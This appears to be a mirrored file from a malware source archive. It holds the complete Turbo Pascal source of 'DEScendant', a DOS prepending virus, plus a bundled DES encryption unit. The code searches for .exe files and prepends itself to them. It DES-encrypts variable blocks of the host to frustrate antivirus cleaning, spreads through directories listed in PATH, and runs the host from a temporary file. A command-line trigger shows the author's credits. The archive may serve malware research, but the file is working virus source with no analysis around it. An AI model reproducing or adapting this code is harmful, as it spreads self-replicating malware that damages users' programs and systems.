mirror of
https://github.com/vxunderground/MalwareSourceCode.git
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522 lines
15 KiB
ObjectPascal
522 lines
15 KiB
ObjectPascal
{
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같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같<EFBFBD>
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겠컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 Description: 컴컴컴컴컴컴컴컴컴컴컴컴컴컴커<ECBBB4>
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개 낡
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개 - DEScendant - 낡
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개 낡
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개 A prepending virus written in borland turbo pascal 7.0, it encrypts 낡
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개 variable blocks of the host file using DES, also storing the key on 낡
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개 variable offsets, this should make it very hard for AV scanner to clean 낡
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개 this virus. It doesn't infect any "new exe" files. 낡
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개 If an infected program is called with the command line parameters 낡
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개 "Too Many Secrets" the virus would put a file called "terces.pot" which 낡
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개 stores a with DES encrypted copyright message in the current directory. 낡
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개 The virus infects only 2 files per run, after no more files are found 낡
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개 in the current directory it changes the directory through the PATH 낡
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개 variable. 낡
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개 낡
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개 Credits go to the guy who wrote the DES unit :) i don't know his name. 낡
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걋컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴켸<EFBFBD>
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같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같<EFBFBD>
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-- The DESUNIT.PAS is at the bottom --
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}
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{$M $4000,0,0 }
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{$I-}
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program _DEScendant_Of_Devil_;
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uses crt, dos,windos,desunit;
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const
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virussize=11712;
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var
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dirinfo:tSearchRec;
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filename:string;
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buffer:array[1..virussize] of char;
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numread,numwritten:word;
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counter:byte;
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attr:word;
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copywrong:string;
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fcrypt: file;
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i:word;
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ende:boolean;
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path:array[1..50] of string[64];
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path_item, current_dir:word;
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self:boolean;
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originaldir,fullname,name:array[0..80] of char;
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function findfirstfile:string;
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begin
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findfirst('*.exe',faArchive,dirinfo);
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if doserror = 0 then
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findfirstfile:=dirinfo.name
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else
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findfirstfile:='';
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end;
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function findnextfile:string;
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begin
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findnext(dirinfo);
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if doserror = 0 then
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findnextfile:=dirinfo.name
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else
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findnextfile:='';
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end;
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function infected(filename:string):boolean;
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var
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fyou:file;
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begin
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assign(fyou,filename);
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reset(fyou,1);
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blockread(fyou,buffer,25,numread);
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close(fyou);
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if numread>=25 then
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begin
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if (buffer[19]='i') or (buffer[25]>=#64) then
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infected:=true
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else
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infected:=false;
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end
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else
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infected:=true;
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end;
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procedure crypt(var buffer:array of char; what:boolean);
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var
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key,bufferin,bufferout:array[1..8] of char;
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i,key_begin,cipher_begin:word;
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begin
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case buffer[1] of
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#0..#63: begin
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key_begin:=10;
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cipher_begin:=1998;
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end;
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#64..#127: begin
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key_begin:=4;
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cipher_begin:=21;
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end;
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#128..#191: begin
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key_begin:=1982;
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cipher_begin:=4;
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end;
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#192..#255: begin
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key_begin:=7;
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cipher_begin:=777;
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end;
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end;
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for i:=1 to 8 do
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key[i]:=buffer[i+key_begin];
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for i:=1 to 8 do
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bufferin[i]:=buffer[i+cipher_begin];
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des(bufferin[1],bufferout[1],key[1],what);
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for i:=1 to 8 do
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buffer[i+cipher_begin]:=bufferout[i];
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end;
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procedure infect(filename:string);
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var
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fyou,fwe,ftemp:file;
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bytes_read:longint;
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begin
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assign(fwe,fullname);
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if self=false then
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begin
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setfattr(fwe,faarchive);
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reset(fwe,1);
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seek(fwe,18);
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buffer[1]:='i';
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blockwrite(fwe,buffer,1);
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self:=true;
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end;
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if infected(filename) = false then
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begin
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assign(fyou,filename);
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setfattr(fyou,faarchive);
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assign(ftemp,'uhczzeku.tmp');
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setfattr(ftemp,faarchive);
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reset(fyou,1);
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reset(fwe,1);
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rewrite(ftemp,1);
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blockread(fwe,buffer,virussize,numread);
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blockwrite(ftemp,buffer,numread,numwritten);
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repeat
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blockread(fyou,buffer,2048,numread);
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if numread=2048 then
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crypt(buffer, true);
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blockwrite(ftemp,buffer,numread,numwritten);
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until (numread = 0) or (numwritten <> numread);
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rewrite(fyou,1);
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reset(ftemp,1);
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repeat
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blockread(ftemp,buffer,2048,numread);
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blockwrite(fyou,buffer,numread,numwritten);
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until (numread = 0) or (numwritten <> numread);
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close(fyou);
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close(ftemp);
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erase(ftemp);
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inc(counter);
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end;
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close(fwe);
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end;
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procedure execute_us;
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var
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i:byte;
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fwe,ftemp:file;
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parameter:string;
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begin
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randomize;
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filename:='';
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for i:=1 to 8 do
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filename:=filename+chr(random(26)+ord('a'));
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filename:=filename+'.exe';
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assign(fwe,fullname);
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assign(ftemp,filename);
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setfattr(ftemp,faarchive);
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reset(fwe,1);
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rewrite(ftemp,1);
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seek(fwe,virussize);
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repeat
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blockread(fwe,buffer,2048,numread);
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if numread=2048 then
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crypt(buffer,false);
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blockwrite(ftemp,buffer,numread,numwritten);
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until (numread=0) or (numwritten<>numread);
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close(fwe);
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close(ftemp);
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parameter:='';
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if paramcount>0 then
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for i:=1 to paramcount do
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parameter:=parameter+' '+paramstr(i);
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swapvectors;
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exec(filename,parameter);
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swapvectors;
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setfattr(ftemp,faarchive);
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erase(ftemp);
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end;
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procedure changedirectory;
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begin
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if path[current_dir+1]<>'' then
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begin
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inc(current_dir);
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chdir(path[current_dir]);
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end
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else
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ende:=true;
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end;
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procedure initpath;
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var
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i,j:word;
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dummy:string;
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begin
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dummy:=getenv('path');
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j:=1;
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for i:=1 to length(dummy) do
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begin
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if dummy[i]=';' then
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begin
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inc(j);
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path[j]:='';
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end
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else
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path[j]:=path[j]+dummy[i];
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end;
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end;
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begin
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if (paramcount=3) and (paramstr(1)='Too') and (paramstr(2)='Many') and
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(paramstr(3)='Secrets') then
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begin
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copywrong:=#78+#32+#185+#52+#203+#38+#250+#148+
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#229+#141+#155+#90+#22+#74+#218+#121+
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#172+#246+#185+#190+#175+#80+#2+#79+
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#121+#214+#132+#247+#26+#196+#192+#114;
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assign(fcrypt,'terces.pot');
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rewrite(fcrypt,1);
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blockwrite(fcrypt,copywrong[1],32,numwritten);
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close(fcrypt);
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clrscr;
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textmode(co80);
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textcolor(7);
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gotoxy(33,1); writeln('QRFpraqnag Bs Qrivy,');
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gotoxy(25,5); writeln('jevggra ol FCb5xl va 6443 sbe PO');
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textcolor(7+blink);
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gotoxy(25,12); writeln('*** EXPORT RESTRICTIONS APPLY ***');
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textcolor(7);
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gotoxy(28,20); writeln('uggc://jjj.pbqroernxref.bet');
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halt(0);
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end;
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getcurdir(originaldir,0);
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filename:=paramstr(0);
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for i:=0 to length(filename)-1 do
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name[i]:=filename[i+1];
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name[i+1]:=#0;
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fileexpand(fullname,name);
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self:=false;
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counter:=0;
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ende:=false;
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path_item:=0;
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current_dir:=0;
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initpath;
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filename:=findfirstfile;
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while ende=false do
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begin
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if counter<2 then
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begin
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if (filename='') and (ende=false) then
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changedirectory;
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if ende=false then
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begin
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if filename='' then
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filename:=findfirstfile;
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infect(filename);
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filename:=findnextfile;
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end;
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end
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else
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ende:=true;
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end;
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setcurdir(originaldir);
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execute_us;
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end.
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---------------------------------DESUNIT.PAS---------------------------------
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unit Desunit;
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interface
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Procedure DES (Var Input; Var Output; Var Key; Encrypt : Boolean);
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implementation
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Procedure DES (Var Input; Var Output; Var Key; Encrypt : Boolean);
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Const
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IP : Array [1..64] Of Byte = (58,50,42,34,26,18,10,2,
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60,52,44,36,28,20,12,4,
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62,54,46,38,30,22,14,6,
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64,56,48,40,32,24,16,8,
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57,49,41,33,25,17, 9,1,
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59,51,43,35,27,19,11,3,
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61,53,45,37,29,21,13,5,
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63,55,47,39,31,23,15,7);
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InvIP : Array [1..64] Of Byte = (40, 8,48,16,56,24,64,32,
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39, 7,47,15,55,23,63,31,
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38, 6,46,14,54,22,62,30,
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37, 5,45,13,53,21,61,29,
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36, 4,44,12,52,20,60,28,
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35, 3,43,11,51,19,59,27,
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34, 2,42,10,50,18,58,26,
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33, 1,41, 9,49,17,57,25);
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E : Array [1..48] Of Byte = (32, 1, 2, 3, 4, 5,
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4, 5, 6, 7, 8, 9,
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8, 9,10,11,12,13,
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12,13,14,15,16,17,
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16,17,18,19,20,21,
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20,21,22,23,24,25,
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24,25,26,27,28,29,
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28,29,30,31,32, 1);
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P : Array [1..32] Of Byte = (16, 7,20,21,
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29,12,28,17,
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1,15,23,26,
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5,18,31,10,
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2, 8,24,14,
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32,27, 3, 9,
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19,13,30, 6,
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22,11, 4,25);
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SBoxes : Array [1..8,0..3,0..15] Of Byte =
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(((14, 4,13, 1, 2,15,11, 8, 3,10, 6,12, 5, 9, 0, 7),
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( 0,15, 7, 4,14, 2,13, 1,10, 6,12,11, 9, 5, 3, 8),
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( 4, 1,14, 8,13, 6, 2,11,15,12, 9, 7, 3,10, 5, 0),
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(15,12, 8, 2, 4, 9, 1, 7, 5,11, 3,14,10, 0, 6,13)),
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((15, 1, 8,14, 6,11, 3, 4, 9, 7, 2,13,12, 0, 5,10),
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( 3,13, 4, 7,15, 2, 8,14,12, 0, 1,10, 6, 9,11, 5),
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( 0,14, 7,11,10, 4,13, 1, 5, 8,12, 6, 9, 3, 2,15),
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(13, 8,10, 1, 3,15, 4, 2,11, 6, 7,12, 0, 5,14, 9)),
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((10, 0, 9,14, 6, 3,15, 5, 1,13,12, 7,11, 4, 2, 8),
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(13, 7, 0, 9, 3, 4, 6,10, 2, 8, 5,14,12,11,15, 1),
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(13, 6, 4, 9, 8,15, 3, 0,11, 1, 2,12, 5,10,14, 7),
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( 1,10,13, 0, 6, 9, 8, 7, 4,15,14, 3,11, 5, 2,12)),
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(( 7,13,14, 3, 0, 6, 9,10, 1, 2, 8, 5,11,12, 4,15),
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(13, 8,11, 5, 6,15, 0, 3, 4, 7, 2,12, 1,10,14, 9),
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(10, 6, 9, 0,12,11, 7,13,15, 1, 3,14, 5, 2, 8, 4),
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( 3,15, 0, 6,10, 1,13, 8, 9, 4, 5,11,12, 7, 2,14)),
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(( 2,12, 4, 1, 7,10,11, 6, 8, 5, 3,15,13, 0,14, 9),
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(14,11, 2,12, 4, 7,13, 1, 5, 0,15,10, 3, 9, 8, 6),
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( 4, 2, 1,11,10,13, 7, 8,15, 9,12, 5, 6, 3, 0,14),
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(11, 8,12, 7, 1,14, 2,13, 6,15, 0, 9,10, 4, 5, 3)),
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((12, 1,10,15, 9, 2, 6, 8, 0,13, 3, 4,14, 7, 5,11),
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(10,15, 4, 2, 7,12, 9, 5, 6, 1,13,14, 0,11, 3, 8),
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( 9,14,15, 5, 2, 8,12, 3, 7, 0, 4,10, 1,13,11, 6),
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( 4, 3, 2,12, 9, 5,15,10,11,14, 1, 7, 6, 0, 8,13)),
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(( 4,11, 2,14,15, 0, 8,13, 3,12, 9, 7, 5,10, 6, 1),
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(13, 0,11, 7, 4, 9, 1,10,14, 3, 5,12, 2,15, 8, 6),
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( 1, 4,11,13,12, 3, 7,14,10,15, 6, 8, 0, 5, 9, 2),
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( 6,11,13, 8, 1, 4,10, 7, 9, 5, 0,15,14, 2, 3,12)),
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((13, 2, 8, 4, 6,15,11, 1,10, 9, 3,14, 5, 0,12, 7),
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( 1,15,13, 8,10, 3, 7, 4,12, 5, 6,11, 0,14, 9, 2),
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( 7,11, 4, 1, 9,12,14, 2, 0, 6,10,13,15, 3, 5, 8),
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( 2, 1,14, 7, 4,10, 8,13,15,12, 9, 0, 3, 5, 6,11)));
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PC_1 : Array [1..56] Of Byte = (57,49,41,33,25,17, 9,
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1,58,50,42,34,26,18,
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10, 2,59,51,43,35,27,
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19,11, 3,60,52,44,36,
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63,55,47,39,31,23,15,
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7,62,54,46,38,30,22,
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14, 6,61,53,45,37,29,
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21,13, 5,28,20,12, 4);
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PC_2 : Array [1..48] Of Byte = (14,17,11,24, 1, 5,
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3,28,15, 6,21,10,
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23,19,12, 4,26, 8,
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16, 7,27,20,13, 2,
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41,52,31,37,47,55,
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30,40,51,45,33,48,
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44,49,39,56,34,53,
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46,42,50,36,29,32);
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ShiftTable : Array [1..16] Of Byte = (1,1,2,2,2,2,2,2,1,2,2,2,2,2,2,1);
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Var
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InputValue : Array [1..64] Of Byte;
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OutputValue : Array [1..64] Of Byte;
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RoundKeys : Array [1..16,1..48] Of Byte;
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L, R, FunctionResult : Array [1..32] Of Byte;
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C, D : Array [1..28] Of Byte;
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Function GetBit (Var Data; Index : Byte) : Byte;
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Var
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Bits : Array [0..7] Of Byte ABSOLUTE Data;
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Begin
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Dec (Index);
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If Bits[Index DIV 8] And (128 SHR (Index MOD 8))>0 then GetBit:=1
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Else GetBit:=0;
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End;{GetBit}
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Procedure SetBit (Var Data; Index, Value : Byte);
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Var
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Bits : Array [0..7] Of Byte ABSOLUTE Data;
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Bit : Byte;
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Begin
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Dec (Index);
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Bit:=128 SHR (Index MOD 8);
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Case Value Of
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0 : Bits[Index DIV 8]:=Bits[Index DIV 8] And (Not Bit);
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1 : Bits[Index DIV 8]:=Bits[Index DIV 8] Or Bit;
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End;
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End;{SetBit}
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Procedure F (Var FR, FK, Output);
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Var
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R : Array [1..48] Of Byte ABSOLUTE FR;
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K : Array [1..48] Of Byte ABSOLUTE FK;
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Temp1 : Array [1..48] Of Byte;
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Temp2 : Array [1..32] Of Byte;
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n, h, i, j, Row, Column : Integer;
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TotalOut : Array [1..32] Of Byte ABSOLUTE Output;
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Begin
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For n:=1 to 48 Do Temp1[n]:=R[E[n]] Xor K[n];
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For n:=1 to 8 Do Begin
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i:=(n-1)*6;
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j:=(n-1)*4;
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Row:=Temp1[i+1]*2+Temp1[i+6];
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Column:=Temp1[i+2]*8 + Temp1[i+3]*4 + Temp1[i+4]*2 + Temp1[i+5];
|
||
For h:=1 to 4 Do Begin
|
||
Case h Of
|
||
1 : Temp2[j+h]:=(SBoxes[n,Row,Column] And 8) DIV 8;
|
||
2 : Temp2[j+h]:=(SBoxes[n,Row,Column] And 4) DIV 4;
|
||
3 : Temp2[j+h]:=(SBoxes[n,Row,Column] And 2) DIV 2;
|
||
4 : Temp2[j+h]:=(SBoxes[n,Row,Column] And 1);
|
||
End;
|
||
End;
|
||
End;
|
||
For n:=1 to 32 Do TotalOut[n]:=Temp2[P[n]];
|
||
End;{F}
|
||
|
||
Procedure Shift (Var SubKeyPart);
|
||
|
||
Var
|
||
SKP : Array [1..28] Of Byte ABSOLUTE SubKeyPart;
|
||
n, b : Byte;
|
||
|
||
Begin
|
||
b:=SKP[1];
|
||
For n:=1 to 27 Do SKP[n]:=SKP[n+1];
|
||
SKP[28]:=b;
|
||
End;{Shift}
|
||
|
||
Procedure SubKey (Round : Byte; Var SubKey);
|
||
|
||
Var
|
||
SK : Array [1..48] Of Byte ABSOLUTE SubKey;
|
||
n, b : Byte;
|
||
|
||
Begin
|
||
For n:=1 to ShiftTable[Round] Do Begin
|
||
Shift (C);
|
||
Shift (D);
|
||
End;
|
||
For n:=1 to 48 Do Begin
|
||
b:=PC_2[n];
|
||
If b<=28 then SK[n]:=C[b] Else SK[n]:=D[b-28];
|
||
End;
|
||
End;{SubKey}
|
||
|
||
Var
|
||
n, i, b, Round : Byte;
|
||
Outputje : Array [1..64] Of Byte;
|
||
K : Array [1..48] Of Byte;
|
||
fi : Text;
|
||
|
||
Begin
|
||
For n:=1 to 64 Do InputValue[n]:=GetBit (Input,n);
|
||
For n:=1 to 28 Do Begin
|
||
C[n]:=GetBit(Key,PC_1[n]);
|
||
D[n]:=GetBit(Key,PC_1[n+28]);
|
||
End;
|
||
For n:=1 to 16 Do SubKey (n,RoundKeys[n]);
|
||
For n:=1 to 64 Do If n<=32 then L[n]:=InputValue[IP[n]]
|
||
Else R[n-32]:=InputValue[IP[n]];
|
||
For Round:=1 to 16 Do Begin
|
||
If Encrypt then
|
||
F (R,RoundKeys[Round],FunctionResult)
|
||
Else
|
||
F (R,RoundKeys[17-Round],FunctionResult);
|
||
For n:=1 to 32 Do FunctionResult[n]:=FunctionResult[n] Xor L[n];
|
||
L:=R;
|
||
R:=FunctionResult;
|
||
End;
|
||
For n:=1 to 64 Do Begin
|
||
b:=InvIP[n];
|
||
If b<=32 then OutputValue[n]:=R[b] Else OutputValue[n]:=L[b-32];
|
||
End;
|
||
For n:=1 to 64 Do SetBit (Output,n,OutputValue[n]);
|
||
End;
|
||
|
||
end.
|
||
|